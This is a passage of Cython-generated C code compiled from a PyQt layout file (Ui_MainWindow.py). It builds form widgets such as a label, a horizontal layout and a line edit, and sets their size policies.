__Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 441, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 441, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 441, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 441, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 441, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_37, __pyx_t_7) < 0) __PYX_ERR(0, 441, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":442 * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.RR_firstname) * self.label_37 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_37.setObjectName("label_37") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(3, QtWidgets.QFormLayout.LabelRole, self.label_37) * self.horizontalLayout_8 = QtWidgets.QHBoxLayout() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_37); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 442, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 442, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__272, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 442, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":443 * self.label_37 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_37.setObjectName("label_37") * self.formLayout_3.setWidget(3, QtWidgets.QFormLayout.LabelRole, self.label_37) # <<<<<<<<<<<<<< * self.horizontalLayout_8 = QtWidgets.QHBoxLayout() * self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 0) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_37); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_3, __pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_3, __pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_3); __Pyx_GIVEREF(__pyx_int_3); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_8, __pyx_int_3); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_8, __pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 2+__pyx_t_8, __pyx_t_4); __pyx_t_6 = 0; __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":444 * self.label_37.setObjectName("label_37") * self.formLayout_3.setWidget(3, QtWidgets.QFormLayout.LabelRole, self.label_37) * self.horizontalLayout_8 = QtWidgets.QHBoxLayout() # <<<<<<<<<<<<<< * self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 0) * self.horizontalLayout_8.setSpacing(2) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 444, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QHBoxLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 444, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 444, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 444, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_8, __pyx_t_7) < 0) __PYX_ERR(0, 444, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":445 * self.formLayout_3.setWidget(3, QtWidgets.QFormLayout.LabelRole, self.label_37) * self.horizontalLayout_8 = QtWidgets.QHBoxLayout() * self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 0) # <<<<<<<<<<<<<< * self.horizontalLayout_8.setSpacing(2) * self.horizontalLayout_8.setObjectName("horizontalLayout_8") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 445, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 445, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__273, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 445, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":446 * self.horizontalLayout_8 = QtWidgets.QHBoxLayout() * self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 0) * self.horizontalLayout_8.setSpacing(2) # <<<<<<<<<<<<<< * self.horizontalLayout_8.setObjectName("horizontalLayout_8") * self.RR_Npa = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setSpacing); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__274, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":447 * self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 0) * self.horizontalLayout_8.setSpacing(2) * self.horizontalLayout_8.setObjectName("horizontalLayout_8") # <<<<<<<<<<<<<< * self.RR_Npa = QtWidgets.QLineEdit(self.formLayoutWidget_3) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 447, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 447, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__275, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 447, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":448 * self.horizontalLayout_8.setSpacing(2) * self.horizontalLayout_8.setObjectName("horizontalLayout_8") * self.RR_Npa = QtWidgets.QLineEdit(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 448, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 448, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 448, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 448, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 448, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 448, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 448, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 448, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa, __pyx_t_7) < 0) __PYX_ERR(0, 448, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":449 * self.horizontalLayout_8.setObjectName("horizontalLayout_8") * self.RR_Npa = QtWidgets.QLineEdit(self.formLayoutWidget_3) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) # <<<<<<<<<<<<<< * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Fixed); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Fixed); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_3, __pyx_t_2}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_3, __pyx_t_2}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_2); __pyx_t_3 = 0; __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF_SET(__pyx_v_sizePolicy, __pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":450 * self.RR_Npa = QtWidgets.QLineEdit(self.formLayoutWidget_3) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.RR_Npa.sizePolicy().hasHeightForWidth()) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHorizontalStretch); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 450, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__276, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 450, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":451 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.RR_Npa.sizePolicy().hasHeightForWidth()) * self.RR_Npa.setSizePolicy(sizePolicy) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setVerticalStretch); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 451, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__277, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 451, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":452 * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.RR_Npa.sizePolicy().hasHeightForWidth()) # <<<<<<<<<<<<<< * self.RR_Npa.setSizePolicy(sizePolicy) * self.RR_Npa.setMouseTracking(False) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHeightForWidth); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_sizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 452, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_hasHeightForWidth); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 452, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if 